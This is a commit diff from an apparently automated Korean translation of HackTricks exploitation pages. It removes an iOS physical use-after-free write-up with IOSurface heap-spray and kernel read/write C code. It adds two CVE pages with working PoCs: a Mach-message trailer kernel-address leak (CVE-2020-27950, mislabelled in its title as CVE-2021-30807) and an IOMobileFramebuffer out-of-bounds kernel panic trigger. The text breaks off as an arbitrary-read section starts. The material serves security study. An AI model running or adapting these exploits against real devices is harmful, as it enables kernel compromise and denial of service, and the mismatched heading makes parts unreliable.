Translated ['src/network-services-pentesting/pentesting-web/laravel.md',

This commit is contained in:
Translator 2025-09-26 01:01:15 +00:00
parent f8878aa9b6
commit f8699c8f7f
26 changed files with 3123 additions and 1787 deletions

View File

@ -768,7 +768,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@ -838,7 +838,7 @@
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
# 🤖 AI
- [AI Security](AI/README.md)

View File

@ -1,208 +0,0 @@
# iOS Exploiting
{{#include ../banners/hacktricks-training.md}}
## 물리적 사용 후 해제
이것은 [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html)의 게시물 요약이며, 이 기술을 사용한 익스플로잇에 대한 추가 정보는 [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)에서 찾을 수 있습니다.
### XNU의 메모리 관리 <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
iOS의 사용자 프로세스를 위한 **가상 메모리 주소 공간**은 **0x0에서 0x8000000000**까지입니다. 그러나 이러한 주소는 물리 메모리에 직접 매핑되지 않습니다. 대신, **커널**은 **페이지 테이블**을 사용하여 가상 주소를 실제 **물리 주소**로 변환합니다.
#### iOS의 페이지 테이블 수준
페이지 테이블은 세 가지 수준으로 계층적으로 구성됩니다:
1. **L1 페이지 테이블 (레벨 1)**:
* 여기의 각 항목은 넓은 범위의 가상 메모리를 나타냅니다.
* **0x1000000000 바이트** (또는 **256 GB**)의 가상 메모리를 포함합니다.
2. **L2 페이지 테이블 (레벨 2)**:
* 여기의 항목은 더 작은 가상 메모리 영역을 나타내며, 구체적으로 **0x2000000 바이트** (32 MB)입니다.
* L1 항목은 전체 영역을 매핑할 수 없는 경우 L2 테이블을 가리킬 수 있습니다.
3. **L3 페이지 테이블 (레벨 3)**:
* 가장 세밀한 수준으로, 각 항목은 단일 **4 KB** 메모리 페이지를 매핑합니다.
* L2 항목은 더 세밀한 제어가 필요할 경우 L3 테이블을 가리킬 수 있습니다.
#### 가상 메모리를 물리 메모리로 매핑
* **직접 매핑 (블록 매핑)**:
* 페이지 테이블의 일부 항목은 가상 주소 범위를 연속적인 물리 주소 범위에 직접 **매핑**합니다 (단축키와 같은 방식).
* **자식 페이지 테이블에 대한 포인터**:
* 더 세밀한 제어가 필요할 경우, 한 수준의 항목 (예: L1)은 다음 수준의 **자식 페이지 테이블** (예: L2)을 가리킬 수 있습니다.
#### 예시: 가상 주소 매핑
가상 주소 **0x1000000000**에 접근하려고 한다고 가정해 보겠습니다:
1. **L1 테이블**:
* 커널은 이 가상 주소에 해당하는 L1 페이지 테이블 항목을 확인합니다. 만약 **L2 페이지 테이블에 대한 포인터**가 있다면, 해당 L2 테이블로 이동합니다.
2. **L2 테이블**:
* 커널은 더 자세한 매핑을 위해 L2 페이지 테이블을 확인합니다. 만약 이 항목이 **L3 페이지 테이블**을 가리킨다면, 그곳으로 진행합니다.
3. **L3 테이블**:
* 커널은 최종 L3 항목을 조회하여 실제 메모리 페이지의 **물리 주소**를 가리킵니다.
#### 주소 매핑 예시
L2 테이블의 첫 번째 인덱스에 물리 주소 **0x800004000**을 기록하면:
* **0x1000000000**에서 **0x1002000000**까지의 가상 주소는 **0x800004000**에서 **0x802004000**까지의 물리 주소에 매핑됩니다.
* 이는 L2 수준에서의 **블록 매핑**입니다.
또는 L2 항목이 L3 테이블을 가리키는 경우:
* 가상 주소 범위 **0x1000000000 -> 0x1002000000**의 각 4 KB 페이지는 L3 테이블의 개별 항목에 의해 매핑됩니다.
### 물리적 사용 후 해제
**물리적 사용 후 해제** (UAF)는 다음과 같은 경우에 발생합니다:
1. 프로세스가 **읽기 및 쓰기 가능**한 메모리를 **할당**합니다.
2. **페이지 테이블**이 이 메모리를 프로세스가 접근할 수 있는 특정 물리 주소에 매핑하도록 업데이트됩니다.
3. 프로세스가 메모리를 **해제** (자유화)합니다.
4. 그러나 **버그**로 인해 커널이 페이지 테이블에서 매핑을 **제거하는 것을 잊어버립니다**, 비록 해당 물리 메모리를 자유 메모리로 표시하더라도.
5. 커널은 이후 이 "해제된" 물리 메모리를 **커널 데이터**와 같은 다른 용도로 **재할당**할 수 있습니다.
6. 매핑이 제거되지 않았기 때문에 프로세스는 여전히 이 물리 메모리에 **읽기 및 쓰기**를 할 수 있습니다.
이는 프로세스가 **커널 메모리의 페이지**에 접근할 수 있음을 의미하며, 이는 민감한 데이터나 구조를 포함할 수 있어 공격자가 **커널 메모리**를 **조작**할 수 있는 가능성을 제공합니다.
### 익스플로잇 전략: 힙 스프레이
공격자가 해제된 메모리에 어떤 특정 커널 페이지가 할당될지 제어할 수 없기 때문에, 그들은 **힙 스프레이**라는 기술을 사용합니다:
1. 공격자는 커널 메모리에 **많은 IOSurface 객체**를 생성합니다.
2. 각 IOSurface 객체는 그 필드 중 하나에 **매직 값**을 포함하여 쉽게 식별할 수 있게 합니다.
3. 그들은 **해제된 페이지**를 스캔하여 이러한 IOSurface 객체가 해제된 페이지에 위치했는지 확인합니다.
4. 해제된 페이지에서 IOSurface 객체를 찾으면, 이를 사용하여 **커널 메모리**를 **읽고 쓸 수** 있습니다.
이에 대한 더 많은 정보는 [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)에서 확인할 수 있습니다.
### 단계별 힙 스프레이 프로세스
1. **IOSurface 객체 스프레이**: 공격자는 특별한 식별자("매직 값")를 가진 많은 IOSurface 객체를 생성합니다.
2. **해제된 페이지 스캔**: 그들은 어떤 객체가 해제된 페이지에 할당되었는지 확인합니다.
3. **커널 메모리 읽기/쓰기**: IOSurface 객체의 필드를 조작하여 커널 메모리에서 **임의의 읽기 및 쓰기**를 수행할 수 있는 능력을 얻습니다. 이를 통해:
* 한 필드를 사용하여 **커널 메모리의 32비트 값을 읽습니다**.
* 다른 필드를 사용하여 **64비트 값을 씁니다**, 안정적인 **커널 읽기/쓰기 원시**를 달성합니다.
IOSURFACE_MAGIC 매직 값을 가진 IOSurface 객체를 생성하여 나중에 검색합니다:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
해제된 물리 페이지에서 **`IOSurface`** 객체를 검색합니다:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### 커널 읽기/쓰기 달성하기: IOSurface
커널 메모리에서 IOSurface 객체에 대한 제어를 달성한 후(사용자 공간에서 접근 가능한 해제된 물리 페이지에 매핑됨), 우리는 이를 사용하여 **임의의 커널 읽기 및 쓰기 작업**을 수행할 수 있습니다.
**IOSurface의 주요 필드**
IOSurface 객체에는 두 가지 중요한 필드가 있습니다:
1. **사용 카운트 포인터**: **32비트 읽기**를 허용합니다.
2. **인덱스 타임스탬프 포인터**: **64비트 쓰기**를 허용합니다.
이 포인터를 덮어쓰면, 우리는 이를 커널 메모리의 임의 주소로 리디렉션하여 읽기/쓰기 기능을 활성화합니다.
#### 32비트 커널 읽기
읽기를 수행하려면:
1. **사용 카운트 포인터**를 덮어써서 대상 주소에서 0x14 바이트 오프셋을 뺀 주소를 가리키게 합니다.
2. `get_use_count` 메서드를 사용하여 해당 주소의 값을 읽습니다.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Bit Kernel Write
쓰기 작업을 수행하려면:
1. **인덱스된 타임스탬프 포인터**를 대상 주소로 덮어씁니다.
2. `set_indexed_timestamp` 메서드를 사용하여 64비트 값을 씁니다.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Exploit Flow Recap
1. **물리적 Use-After-Free 트리거**: 재사용 가능한 해제된 페이지가 있습니다.
2. **IOSurface 객체 스프레이**: 커널 메모리에 고유한 "매직 값"을 가진 많은 IOSurface 객체를 할당합니다.
3. **접근 가능한 IOSurface 식별**: 제어하는 해제된 페이지에서 IOSurface를 찾습니다.
4. **Use-After-Free 남용**: IOSurface 객체의 포인터를 수정하여 IOSurface 메서드를 통해 임의의 **커널 읽기/쓰기**를 가능하게 합니다.
이러한 원시 기능을 통해 익스플로잇은 커널 메모리에 대한 제어된 **32비트 읽기** 및 **64비트 쓰기**를 제공합니다. 추가 탈옥 단계는 더 안정적인 읽기/쓰기 원시 기능을 포함할 수 있으며, 이는 추가 보호(예: 최신 arm64e 장치의 PPL)를 우회해야 할 수 있습니다.
{{#include ../banners/hacktricks-training.md}}

View File

@ -0,0 +1,332 @@
# CVE-2021-30807: IOMobileFrameBuffer OOB
{{#include ../../banners/hacktricks-training.md}}
## 취약점
You have a [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), but as summary:
커널이 받는 모든 Mach message는 **"trailer"**로 끝납니다: 메타데이터(seqno, sender token, audit token, context, access control data, labels...)를 담는 가변 길이 struct입니다. 커널은 메시지 버퍼에 **항상 가능한 최대 크기의 trailer**(MAX_TRAILER_SIZE)를 예약하지만, **일부 필드만 초기화**한 다음, 나중에 **사용자 제어 receive 옵션**에 따라 어떤 trailer 크기를 반환할지 결정합니다.
These are the trailer relevant structs:
```c
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
} mach_msg_trailer_t;
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
mach_port_seqno_t msgh_seqno;
security_token_t msgh_sender;
audit_token_t msgh_audit;
mach_port_context_t msgh_context;
int msgh_ad;
msg_labels_t msgh_labels;
} mach_msg_mac_trailer_t;
#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t)
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
```
그런 다음 trailer 객체가 생성될 때 일부 필드만 초기화되고, 최대 trailer 크기는 항상 예약됩니다:
```c
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
[...]
trailer->msgh_labels.sender = 0;
```
예를 들어, `mach_msg()`를 사용해 Mach 메시지를 읽으려고 할 때 메시지에 trailer를 추가하기 위해 `ipc_kmsg_add_trailer()` 함수가 호출됩니다. 이 함수 내부에서 trailer 크기가 계산되고 다른 몇몇 trailer 필드들이 채워집니다:
```c
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
return trailer->msgh_trailer_size;
}
trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
```
The `option` 파라미터는 사용자 제어이므로 **`if` 검사에 통과하는 값을 전달해야 합니다.**
이 검사를 통과하려면 유효하며 지원되는 `option`을 전송해야 합니다:
```c
#define MACH_RCV_TRAILER_NULL 0
#define MACH_RCV_TRAILER_SEQNO 1
#define MACH_RCV_TRAILER_SENDER 2
#define MACH_RCV_TRAILER_AUDIT 3
#define MACH_RCV_TRAILER_CTX 4
#define MACH_RCV_TRAILER_AV 7
#define MACH_RCV_TRAILER_LABELS 8
#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
```
하지만 `MACH_RCV_TRAILER_MASK`가 단지 비트를 검사하기 때문에, `0``8` 사이의 아무 값이나 전달해 `if` 문 안으로 들어가지 않게 할 수 있습니다.
그 다음, 코드 상에서 계속 살펴보면 다음을 찾을 수 있습니다:
```c
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
trailer->msgh_ad = 0;
}
/*
* The ipc_kmsg_t holds a reference to the label of a label
* handle, not the port. We must get a reference to the port
* and a send right to copyout to the receiver.
*/
if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
trailer->msgh_labels.sender = 0;
}
done:
#ifdef __arm64__
ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
#endif /* __arm64__ */
return trailer->msgh_trailer_size;
```
Were you can see that if the `option` is bigger or equals to `MACH_RCV_TRAILER_AV` (7), the field **`msgh_ad`** is initialized to `0`.
If you noticed, **`msgh_ad`** was still the only field of the trailer that was not initialized before which could contain a leak from previously used memory.
So, the way avoid initializing it would be to pass an `option` value that is `5` or `6`, so it passes the first `if` check and doesn't enter the `if` that initializes `msgh_ad` because the values `5` and `6` don't have any trailer type associated.
### Basic PoC
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data.
### Leak Kernel Address PoC
The Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked.
Commetns were added for better understanding:
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
// Number of OOL port descriptors in the "big" message.
// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds).
#define LEAK_PORTS 50
// "Big" message: many descriptors → larger descriptor array in kmsg
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
} message_big_t;
// "Small" message: fewer descriptors → leaves more room for the trailer
// to overlap where descriptor pointers used to be in the reused kalloc chunk.
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
} message_small_t;
int main(int argc, char *argv[]) {
mach_port_t port; // our local receive port (target of sends)
mach_port_t sent_port; // the port whose kernel address we want to leak
/*
* 1) Create a receive right and attach a send right so we can send to ourselves.
* This gives us predictable control over ipc_kmsg allocations when we send.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
/*
* 2) Create another receive port (sent_port). We'll reference this port
* in OOL descriptors so the kernel stores pointers to its ipc_port
* structure in the kmsg → those pointers are what we aim to leak.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);
printf("[*] Will get port %x address\n", sent_port);
message_big_t *big_message = NULL;
message_small_t *small_message = NULL;
// Compute userland sizes of our message structs
mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message);
mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);
// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin)
big_message = malloc(big_size + MAX_TRAILER_SIZE);
small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
/*
* 3) Prepare the "big" message:
* - Complex bit set (has descriptors)
* - 50 OOL port descriptors, all pointing to the same sent_port
* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your processs IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port).
* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel).
*/
printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
big_message->header.msgh_remote_port = port; // send to our receive right
big_message->header.msgh_size = big_size;
big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
big_message->body.msgh_descriptor_count = LEAK_PORTS;
for (int i = 0; i < LEAK_PORTS; i++) {
big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers
}
/*
* 4) Prepare the "small" message:
* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused,
* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived.
*/
printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
small_message->header.msgh_remote_port = port;
small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;
for (int i = 0; i < LEAK_PORTS - 10; i++) {
small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
small_message->sent_ports[i].name = sent_port;
}
/*
* 5) Receive buffer for reading back messages with trailers.
* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5).
* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized
* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak.
*/
uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally)
uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks
/*
* ---------- Exploitation sequence ----------
*
* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many
* kernel pointers (ipc_port*) in its descriptor array.
*/
printf("[*] Sending message 1\n");
mach_msg(&big_message->header,
MACH_SEND_MSG,
big_size, // send size
0, // no receive
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step B: Immediately receive/discard it with a zero-sized buffer.
* This frees the kalloc chunk without copying descriptors back,
* leaving the kernel pointers resident in freed memory (stale).
*/
printf("[*] Discarding message 1\n");
mach_msg((mach_msg_header_t *)0,
MACH_RCV_MSG, // try to receive
0, // send size 0
0, // recv size 0 (forces error/free path)
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step C: Reuse the same size-class with the "small" message (fewer descriptors).
* We slightly bump msgh_size by +4 so that when the kernel appends
* the trailer, the trailer's uninitialized field `msgh_ad` overlaps
* the low 4 bytes of a stale ipc_port* pointer from the prior message.
*/
small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window
printf("[*] Sending message 2\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step D: Receive message 2 and request an invalid trailer elements value (5).
* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer.
* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size.
* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7),
* so with 5, `msgh_ad` remains uninitialized → stale bytes leak.
*/
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 2\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950
0,
small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
// Trailer begins right after the message body we sent (small_size + 4)
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));
// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*)
sent_port_address |= (uint32_t)trailer->msgh_ad;
/*
* Step E: Repeat the A→D cycle but now shift by another +4 bytes.
* This moves the overlap window so `msgh_ad` captures the high 4 bytes.
*/
printf("[*] Sending message 3\n");
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
printf("[*] Discarding message 3\n");
mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
// add another +4 to msgh_size → total +8 shift from the baseline
small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
printf("[*] Sending message 4\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t)*2,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 4\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
0,
small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);
// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer
sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;
printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);
return 0;
}
```
## 참고자료
- [Synacktiv의 블로그 포스트](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,296 @@
# CVE-2021-30807: IOMobileFrameBuffer OOB
{{#include ../../banners/hacktricks-training.md}}
## 취약점
You have a [great explanation of the vuln here](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), but as summary:
- 취약한 코드 경로는 **IOMobileFramebuffer / AppleCLCD** user client의 **external method #83**: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` 입니다. 이 메서드는 사용자에 의해 제어되는 파라미터를 받는데 전혀 검증하지 않으며 다음 함수로 **`scalar0`**로 전달됩니다.
- 해당 메서드는 **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**로 전달되며, 여기서 **`scalar0`**(사용자가 제어하는 **32-bit** 값)는 내부 **포인터 배열**에 대한 **인덱스**로 사용되지만 **경계 검사**가 전혀 없습니다:
> `ptr = *(this + 0xA58 + scalar0 * 8);``IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`로 전달되어 **`IOSurface*`**로 사용됩니다.\
> **Result:** 배열에서 **OOB pointer read & type confusion**가 발생합니다. 포인터가 유효하지 않으면 커널 deref가 panic하여 → **DoS**.
> [!NOTE]
> This was fixed in **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1**
> [!WARNING]
> The initial function to call `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` is protected by the entitlement **`com.apple.private.allow-explicit-graphics-priority`**. However, **WebKit.WebContent** has this entitlement, so it can be used to trigger the vuln from a sandboxed process.
## DoS PoC
The following is the initial DoS PoC from the ooriginal blog post with extra comments:
```c
// PoC for CVE-2021-30807 trigger (annotated)
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
// Build/run only on devices you own and that are vulnerable.
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory)
// https://support.apple.com/en-us/103144
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807
void trigger_clcd_vuln(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
// The "type" argument is the type (selector) of user client to open.
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
// external methods we need (incl. selector 83). If this doesn't work on your
// build, try different types or query IORegistry to enumerate.
int type = 2;
// 1) Locate the IOMobileFramebuffer service in the IORegistry.
// This returns the first matched service object (a kernel object handle).
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOMobileFramebuffer"));
if (service == MACH_PORT_NULL) {
printf("failed to open service\n");
return;
}
printf("service: 0x%x\n", service);
// 2) Open a connection (user client) to the service.
// The user client is what exposes external methods to userland.
// 'type' selects which user client class/variant to instantiate.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if (ret != KERN_SUCCESS) {
printf("failed to open userclient: %s\n", mach_error_string(ret));
return;
}
printf("client: 0x%x\n", shared_user_client_conn);
printf("call externalMethod\n");
// 3) Prepare input scalars for the external method call.
// The vulnerable path uses a 32-bit scalar as an INDEX into an internal
// array of pointers WITHOUT bounds checking (OOB read / type confusion).
// We set it to a large value to force the out-of-bounds access.
uint64_t scalars[4] = { 0x0 };
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup
// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
uint64_t output_scalars[4] = { 0 };
uint32_t output_scalars_size = 1;
printf("call s_default_fb_surface\n");
// 5) Invoke external method #83.
// On vulnerable builds, this path ends up calling:
// IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
// → IOMobileFramebufferLegacy::get_displayed_surface(...)
// which uses our index to read a pointer and then passes it as IOSurface*.
// If the pointer is bogus, IOSurface code will dereference it and the kernel
// will panic (DoS).
ret = IOConnectCallMethod(
shared_user_client_conn,
83, // **Selector 83**: vulnerable external method
scalars, 1, // input scalars (count = 1; the OOB index)
NULL, 0, // no input struct
output_scalars, &output_scalars_size, // optional outputs
NULL, NULL); // no output struct
// 6) Check the call result. On many vulnerable targets, you'll see either
// KERN_SUCCESS right before a panic (because the deref happens deeper),
// or an error if the call path rejects the request (e.g., entitlement/type).
if (ret != KERN_SUCCESS) {
printf("failed to call external method: 0x%x --> %s\n",
ret, mach_error_string(ret));
return;
}
printf("external method returned KERN_SUCCESS\n");
// 7) Clean up the user client connection handle.
IOServiceClose(shared_user_client_conn);
printf("success!\n");
}
```
## 임의 읽기 PoC 설명
1. **적절한 user client 열기**
